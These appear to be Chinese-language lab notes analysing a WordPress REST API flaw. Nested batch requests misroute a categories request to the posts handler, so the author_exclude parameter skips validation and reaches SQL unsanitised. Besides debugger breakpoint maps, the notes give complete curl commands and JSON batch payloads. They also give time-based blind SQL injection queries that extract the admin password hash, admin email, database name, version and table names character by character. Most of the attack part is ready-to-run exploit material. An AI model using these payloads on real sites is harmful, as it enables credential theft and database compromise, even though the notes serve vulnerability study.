使用CTRL+SHIFT+F查找
✅ 完整的断点清单(rest-api.php 内)
| 序号 | 函数名 | 作用 | |
|---|---|---|---|
| 1 | rest_api_loaded() |
请求入口 | |
| 2 | rest_parse_request_arg() |
默认参数处理器(校验+清洗的入口) | |
| 3 | rest_validate_request_arg() |
参数校验调度器 | |
| 4 | rest_validate_value_from_schema() |
Schema 校验核心(preg_split 拆解注入串在这里) |
|
| 5 | rest_validate_integer_value_from_schema() |
整数类型校验("SELECT" 碎片被判死在这里) |
|
| 6 | rest_is_integer() |
最终整数判定(is_numeric 返回 false) |
其他断点
1️⃣ class-wp-rest-server.php(wp-includes/rest-api/)
| # | 函数/位置 | 为什么断在这里 | 观察什么 |
|---|---|---|---|
| 1 | serve_batch_request_v1() 函数开头 |
进入批量请求派发器,这是路由错位的起点 | $batch_request['requests'] 包含 3 个外层请求 |
| 2 | $match = $matches[$i];(阶段二循环内,约第 1841 行) |
错位实锤点! 看 $i=1 的 posts 请求拿到了谁的 match |
$i、$requests[$i]->get_route()、$matches[$i]['callback'] |
| 3 | respond_to_request() 调用处(约第 1861 行) |
看实际执行了哪个 handler | $handler['callback'] → 应看到 /batch/v1 的 handler 被执行 |
| 4 | match_request_to_handler() 函数内 |
看每个子请求匹配到了哪个路由 | $match 结果(路由 + handler) |
2️⃣ class-wp-rest-request.php(wp-includes/rest-api/)
| # | 函数/位置 | 为什么断在这里 | 观察什么 |
|---|---|---|---|
| 5 | sanitize_params() 函数开头 |
参数清洗入口,看 author_exclude 被跳过 |
$attributes['args'](categories 参数表只有 12 个参数,不含 author_exclude) |
| 6 | has_valid_params() 函数开头 |
必填参数校验 | 同样能看到 author_exclude 不在参数表中 |
3️⃣ class-wp-rest-posts-controller.php(wp-includes/rest-api/endpoints/)
| # | 函数/位置 | 为什么断在这里 | 观察什么 |
|---|---|---|---|
| 7 | get_items() 函数内(约第 270 行) |
桥接点 :author_exclude 被映射为 author__not_in |
$args['author__not_in'] = $request['author_exclude'](原始注入串) |
| 8 | get_items() 内调用 WP_Query 处(约第 447-448 行) |
进入 WP_Query |
$query_args 包含 author__not_in 原始串 |
🎯 在 get_items() 函数内断
php
foreach ( $parameter_mappings as $api_param => $wp_param ) {
if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
$args[ $wp_param ] = $request[ $api_param ]; // ← 断在这一行!
}
}
断点位置 :在循环内部的赋值语句 $args[ $wp_param ] = $request[ $api_param ]; 处下断点。
为什么要断这里?
当 $api_param === 'author_exclude' 时,$args['author__not_in'] 被赋值为原始的注入串,未经任何清洗 。这是 SQL 注入"桥接"的关键一步------你能亲眼看到注入串从 $request 原样进入 $args。
🔍 match_request_to_handler() 需要断
需关注它的返回值。
断点 1:在 serve_batch_request_v1() 中调用后立即断
php
$match = $this->match_request_to_handler( $single_request ); // ← 在这一行之后下断点
这样可以看到每个子请求匹配到的 $match 是什么(包含路由和 handler)。
4️⃣ class-wp-query.php(wp-includes/)
| # | 函数/位置 | 为什么断在这里 | 观察什么 |
|---|---|---|---|
| 9 | get_posts() 内 author__not_in 处理处(约第 2404 行) |
SQL 注入消毒失效点 | is_array($query_vars['author__not_in']) 为 false → 字符串被直接拼接 |
| 10 | get_posts() 内 SQL 拼装处(约第 2409 行) |
注入串拼入 NOT IN (...) |
最终 SQL 含 NOT IN (SELECT IF(...SLEEP...) |
🔍 断点应该设在哪?
根据你提供的代码片段,正确的断点位置是:
断点 9:author__not_in 处理处
php
if ( ! empty( $query_vars['author__not_in'] ) ) { // ← 断在这一行
观察 :$query_vars['author__not_in'] 的值(应包含原始注入串)
断点 10:SQL 拼装处
php
$where .= sprintf(
" AND {$wpdb->posts}.post_author NOT IN (%s) ",
implode( ',', $author__not_in_id_list ) // ← 断在这一行
);
观察 :implode( ',', $author__not_in_id_list ) 的最终值,以及 $where 拼接后的完整 SQL
5️⃣ class-wpdb.php(wp-includes/)
| # | 函数/位置 | 为什么断在这里 | 观察什么 |
|---|---|---|---|
| 11 | get_col() 函数开头 |
SQL 真正执行处 | 完整 SQL 语句(含注入) |
🧩 完整断点地图
rest_api_loaded() rest-api.php
↓
serve_batch_request_v1() class-wp-rest-server.php ← 外层 batch 派发
↓
match = matches$i(错位点) class-wp-rest-server.php ← posts 偷到 /batch/v1 handler
↓
respond_to_request() class-wp-rest-server.php ← 递归进入内层 batch
↓
serve_batch_request_v1() class-wp-rest-server.php ← 内层 batch 派发
↓
sanitize_params() class-wp-rest-request.php ← author_exclude 被跳过
↓
match = matches$i(错位点) class-wp-rest-server.php ← categories 偷到 posts handler
↓
respond_to_request() class-wp-rest-server.php ← 进入 posts get_items
↓
get_items()(桥接点) class-wp-rest-posts-controller.php ← author_exclude → author__not_in
↓
WP_Query::get_posts()(消毒失效点) class-wp-query.php ← 字符串直接拼接
↓
wpdb::get_col()(SQL 执行点) class-wpdb.php ← 注入执行
以下演示直接在终端进行
演示 1: 直接向 /wp/v2/posts 传盲注(不套 batch)
curl -s "http://192.168.66.141/index.php?rest_route=/wp/v2/posts&author_exclude=SELECT+IF%28ASCII%28SUBSTRING%28%28SELECT+user_pass+FROM+wp_users+WHERE+user_login%3D%27admin%27%29%2C1%2C1%29%29%3E30%2CSLEEP%280.5%29%2C0%29" -w "\n耗时: %{time_total}s\n"
结果 : HTTP 400, rest_invalid_param; 耗时 ≈ 0.1s,没有 SLEEP。 连"正经的密码提取语句"也进不了门, 死法完全一样。
{"code":"rest_invalid_param","message":"Invalid parameter(s): author_exclude", "data":{"status":400,"params":{"author_exclude":"author_exclude[0] is not of type integer."}}}
演示 2: 套 batch, 但注入仍然直接挂 /wp/v2/posts
cat > /tmp/probe_posts.json <<'EOF' { "requests": [ {"method": "POST", "path": "http://:"}, {"method": "POST", "path": "/wp/v2/posts", "body": { "requests": [ {"method": "GET", "path": "http://:"}, {"method": "GET", "path": "/wp/v2/posts?author_exclude=SELECT+IF%28ASCII%28SUBSTRING%28%28SELECT+user_pass+FROM+wp_users+WHERE+user_login%3D%27admin%27%29%2C1%2C1%29%29%3E30%2CSLEEP%280.5%29%2C0%29"}, {"method": "GET", "path": "/wp/v2/posts"} ] }}, {"method": "POST", "path": "/batch/v1"} ] } EOF
cat > /tmp/probe_posts.json
-
cat >表示将标准输入(键盘输入)的内容写入 到/tmp/probe_posts.json文件中。 -
如果文件已存在,会被覆盖;如果不存在,则新建。
<<'EOF'
-
这是一个 Here Document(内嵌文档) 语法,表示从下一行开始,直到遇到单独的
EOF行结束 ,之间的所有内容都作为输入传给cat。 -
'EOF'加引号表示不对内容做任何变量替换或转义处理(原样保留)。
- 最终效果
创建了一个包含 JSON 请求体的文件 /tmp/probe_posts.json,内容就是 { "requests": [...] } 这段 JSON。
curl --data-binary @/tmp/probe_posts.json
--data-binary @文件名表示读取该文件的内容,原封不动地作为 POST 请求体发送。
curl -s -X POST "http://192.168.66.141/index.php?rest_route=/batch/v1" \ -H "Content-Type: application/json" \ --data-binary @/tmp/probe_posts.json \ -w "\n耗时: %{time_total}s\n"
结果 : batch 返回 200/207, 但内层 posts 子请求报同样的 rest_invalid_param; 依然无 SLEEP。
要点 : batch 只是"快递箱", 只负责批量派送, 不改变收件人 。 注入挂的路径还是 /wp/v2/posts, 收件人还是 posts 控制器, 它的校验表照常生效。
演示 3: 套 batch, 注入挂到 /wp/v2/categories(真正的利用)
如何绕过这个清洗点 ?
cat > /tmp/probe_categories.json <<'EOF' { "requests": [ 问题很打 错误请求 都写正确 错位了 {"method": "POST", "path": "http://:"}, {"method": "POST", "path": "/wp/v2/posts", "body": { "requests": [ {"method": "GET", "path": "http://:"}, {"method": "GET", "path": "/wp/v2/categories?author_exclude=SELECT+IF%28ASCII%28SUBSTRING%28%28SELECT+user_pass+FROM+wp_users+WHERE+user_login%3D%27admin%27%29%2C1%2C1%29%29%3E30%2CSLEEP%280.5%29%2C0%29"}, {"method": "GET", "path": "/wp/v2/posts"} ] }}, {"method": "POST", "path": "/batch/v1"} ] } EOF batch 一组数据 batch 一次发送三个api请求 batch 一组请求 两个batch 套了一个batch curl -s -X POST "http://192.168.66.141/index.php?rest_route=/batch/v1" \ -H "Content-Type: application/json" \ --data-binary @/tmp/probe_categories.json \ -w "\n耗时: %{time_total}s\n"
结果(关键!): 同一个位置, 两个不同猜测 → 快/慢分出真伪 。 把 URL 里的 %3E30 改成 %3E40 重发一次, 对比两轮耗时:
php
author_exclude=SELECT IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login='admin'),1,1)) > 30, SLEEP(0.5), 0)
它在问数据库一个问题:
"管理员密码的第一个字符的 ASCII 码是否大于 30?"
-
如果答案是"是"(ASCII > 30) → 条件为真 → 执行
SLEEP(0.5)→ 响应耗时 ≈ 0.5 秒(慢) -
如果答案是"否"(ASCII ≤ 30) → 条件为假 → 不执行
SLEEP→ 响应耗时 ≈ 0.05 秒(快)
通过对比两次请求(>30 和 >40)的耗时差异:
| 猜测 | 提问 | 第一个字符是 $(ASCII=36) |
页面耗时 |
|---|---|---|---|
>30 |
ASCII > 30? | 36 > 30 → 真 | 慢 ≈ 0.5s(SLEEP 执行) |
>40 |
ASCII > 40? | 36 > 40 → 假 | 快 ≈ 0.05s |
结论:快/慢两个答案 = 一个"是/否"比特 → 每发 1 次请求拿到 1 bit 信息。
可以做出什么判断?
-
确认注入存在:如果同一个位置,两个不同数字(30 vs 40)产生了明显的快/慢差异,说明注入确实被执行了。
-
开始逐字符提取数据 :对每个字符 做 8 次二分(依次猜
>128、>64、>32、... 一位一位定出 ASCII 码)。 -
最终结果 :
user_pass是 34 字符的哈希($P$B...),全拖出来 ≈ 272 次请求,几分钟,最终得到管理员密码哈希。
🧪 逐字符提取信息
提取的原理与提取密码哈希完全相同,通过二分法逐字符猜解。
- 获取当前数据库名称
sql
SELECT IF(ASCII(SUBSTRING(DATABASE(),1,1)) > 100, SLEEP(0.5), 0)
DATABASE():返回当前数据库名。
- 获取数据库版本
sql
SELECT IF(ASCII(SUBSTRING(VERSION(),1,1)) > 100, SLEEP(0.5), 0)
VERSION():返回 MySQL 版本信息,如5.7.41。
- 获取当前数据库用户
sql
SELECT IF(ASCII(SUBSTRING(CURRENT_USER(),1,1)) > 100, SLEEP(0.5), 0)
CURRENT_USER():返回当前数据库用户,如wpuser@localhost。
- 获取所有表名(从
information_schema)
sql
-- 获取第一个表名的第一个字符
SELECT IF(ASCII(SUBSTRING((SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT 0,1),1,1)) > 100, SLEEP(0.5), 0)
-
information_schema.TABLES:系统表,存储了所有数据库和表的信息。 -
LIMIT 0,1:用于逐行提取,0表示第一个表,1表示第二个表,以此类推。
- 获取管理员邮箱
sql
-- 假设管理员用户名为 'admin'
SELECT IF(ASCII(SUBSTRING((SELECT user_email FROM wp_users WHERE user_login='admin'),1,1)) > 100, SLEEP(0.5), 0)
user_email:wp_users表中的邮箱字段。
🔧 完整的攻击步骤
-
确定提取目标的 SQL 语句 :例如
SELECT user_email FROM wp_users WHERE user_login='admin'。 -
猜解长度 :使用
LENGTH()函数确定目标字符串的长度。sqlSELECT IF(LENGTH((SELECT user_email FROM wp_users WHERE user_login='admin')) = 20, SLEEP(0.5), 0) -
逐字符猜解 :利用
SUBSTRING()和ASCII()函数,配合二分法逐位爆破。sqlSELECT IF(ASCII(SUBSTRING((SELECT user_email FROM wp_users WHERE user_login='admin'),1,1)) > 100, SLEEP(0.5), 0) -
验证与重复 :不断调整
>后面的数字(如 100, 50, 75...),根据响应快慢确定每一位的具体 ASCII 码,直到获取完整字符串。
原因: 嵌套 batch 产生路由错位 , categories 请求被投递到 posts 处理器, 但它的校验表(get_attributes 的 args)没有 author_exclude → 校验被跳过 → 注入原样进 SQL。
✅ 演示 1 与调用链
演示 1 想做什么?
攻击者试图直接 通过
/wp/v2/posts接口的author_exclude参数注入 SQL,验证是否能触发时间盲注。
结果 :HTTP 400,rest_invalid_param,注入被拦截,get_items() 根本没被调用。
调用链逐行解释(每一步在做什么)
| # | 文件/函数 | 这一步在做什么 | 对演示 1 的意义 |
|---|---|---|---|
| 1 | rest_api_loaded() |
入口,认领 rest_route 参数 |
请求进入 WordPress REST API |
| 2 | rest_get_server() |
获取 WP_REST_Server 单例 |
准备处理请求 |
| 3 | serve_request() |
解析请求方法,构造 WP_REST_Request 对象 |
将 URL 参数转为 $request 对象 |
| 4 | dispatch() |
路由匹配 + 参数校验 + 调用回调 | 这是关键分岔点 |
| 4a | match_request_to_handler() |
匹配到 posts 的 get_items 处理器 |
路由匹配成功,正规路径 |
| 4b | $request->get_attributes() |
获取参数表(args)= posts 的集合参数 schema |
参数表里有 author_exclude ,类型为 array,items 为 integer |
| 4c | $request->sanitize_params() |
校验触发! author_exclude 进入 schema 校验 |
注入串被 preg_split 按空格/逗号拆成数组,逐元素验整数 |
| 5 | rest_validate_request_arg() |
无自定义 validate_callback,走通用 schema 校验 |
开始拆串判死 |
| 6 | rest_validate_value_from_schema() |
数组拆分 + items 循环 |
注入串被拆成 ["SELECT", "IF(...)", ...] |
| 7 | rest_validate_integer_value_from_schema() |
整数校验 | 第一个碎片 "SELECT" 不是整数 → 报错 |
| 8 | rest_is_integer() |
最终 is_int / is_numeric 判断 |
is_numeric("SELECT") = false → 判死 |
| ─ | 校验失败 → add_invalid_param → HTTP 400 |
author_exclude[0] is not of type integer |
注入串被肢解,死在校验层 |
| 9 | get_items() |
根本没被调用 | 注入连 WP_Query 的门都没摸到 |
一句话总结演示 1:
author_exclude在 posts 参数表中,被 schema 校验按数组整数类型拆解判死,400,注入失败。
✅ 演示 2 和演示 3 的调用链
📌 演示 2:套 batch,注入仍然挂 /wp/v2/posts
想做什么?:把注入藏进嵌套 batch 的 body 里,试图绕过校验。
结果 :batch 返回 200/207,但内层 posts 子请求仍然报 rest_invalid_param,无 SLEEP。失败。
调用链:
POST /?rest_route=/batch/v1 1. rest_api_loaded() 入口 2. serve_request() 构造请求 3. dispatch() 匹配到 /batch/v1 → callback = serve_batch_request_v1 4. serve_batch_request_v1()(外层) ★ 第 1 次进入派送器 4a. 外层探针 http://: 解析失败 → matches 短一格 4b. 外层错位:posts 请求偷到 /batch/v1 的 handler 4c. 递归进入 serve_batch_request_v1()(内层) 5. serve_batch_request_v1()(内层) ★ 第 2 次进入派送器 5a. 内层探针 http://: 解析失败 → matches 又短一格 5b. 内层错位:posts 请求偷到 posts 的 handler(自己人!) 5c. dispatch() → 匹配到 posts get_items(正规路径) 5d. $request->get_attributes() → args 表 = posts 集合参数 schema(★ 有 author_exclude) 5e. $request->sanitize_params() → ★ 校验触发! 5f. rest_validate_value_from_schema() → preg_split 拆串 5g. rest_validate_integer_value_from_schema() → 第一个碎片 "SELECT" 不是整数 → 报错 6. 校验失败 → rest_invalid_param → HTTP 400(内层子请求)→ 无 SLEEP 7. get_items() 未被调用
为什么失败? :虽然套了 batch,但注入挂的还是 /wp/v2/posts,author_exclude 仍然在 posts 参数表中,校验照常触发。batch 只是"快递箱",不改变收件人。
📌 演示 3:套 batch,注入挂 /wp/v2/categories(真正的利用,成功)
想做什么? :把注入挂到 categories 接口,利用 categories 参数表中没有 author_exclude 绕过校验。
结果:快/慢差异 → 注入执行成功 → SLEEP 生效。
调用链:
POST /?rest_route=/batch/v1 1. rest_api_loaded() 入口 2. serve_request() 构造请求 3. dispatch() 匹配到 /batch/v1 → callback = serve_batch_request_v1 4. serve_batch_request_v1()(外层) ★ 第 1 次进入派送器 4a. 外层探针 http://: 解析失败 → matches 短一格 4b. 外层错位:posts 请求偷到 /batch/v1 的 handler 4c. 递归进入 serve_batch_request_v1()(内层) 5. serve_batch_request_v1()(内层) ★ 第 2 次进入派送器 5a. 内层探针 http://: 解析失败 → matches 又短一格 5b. ★ 内层错位:categories 请求偷到 posts 的 handler(关键!) 5c. dispatch() → 匹配到 posts get_items(但身上的参数表是 categories 的!) 5d. $request->get_attributes() → args 表 = categories 集合参数表(★ 没有 author_exclude) 5e. $request->sanitize_params() → ★ 校验被跳过!循环里根本没有 author_exclude 5f. 无校验错误 → 进入 get_items() 6. get_items() → $args['author__not_in'] = $request['author_exclude'](原始注入串) 7. WP_Query::query() → get_posts() 7a. if ( ! empty( $query_vars['author__not_in'] ) ) → 是真 7b. if ( is_array( $query_vars['author__not_in'] ) ) → ★ false(字符串) 7c. absint 消毒被跳过 → 注入串原样拼入 SQL 8. wpdb::get_results() → SQL 执行 → SLEEP 生效 → 盲注落地 ✓
为什么成功?:
-
错位让 categories 请求偷到了 posts 的 handler(处理器是 posts,但参数表是 categories 的)。
-
categories 参数表中没有
author_exclude→sanitize_params()循环查无此项 → 不验不洗,放行。 -
get_posts()中is_array()为假 →absint也被跳过 → 注入串原样拼进 SQL。
📊 三个演示对比表
| 演示 1 | 演示 2 | 演示 3 | |
|---|---|---|---|
| 注入挂在 | /wp/v2/posts |
/wp/v2/posts |
/wp/v2/categories |
| 套 batch? | ❌ 不套 | ✅ 套 | ✅ 套 |
| 参数表 | posts(有 author_exclude) | posts(有 author_exclude) | categories(没有 author_exclude) |
| 校验 | ✅ 触发 → 400 | ✅ 触发 → 400 | ❌ 被跳过 |
| get_items 是否调用? | ❌ 否 | ❌ 否 | ✅ 是 |
| 注入是否执行? | ❌ 否 | ❌ 否 | ✅ 是 |
| SLEEP 是否生效? | ❌ 否 | ❌ 否 | ✅ 是 |
一句话总结:
演示 1 和 2 失败,因为
author_exclude在 posts 参数表里,被看门狗拦截。演示 3 成功,因为 categories 参数表里没有author_exclude,错位让注入请求"偷"了 posts 的 handler,但挂的是 categories 的名单 → 看门狗查无此人 → 放行。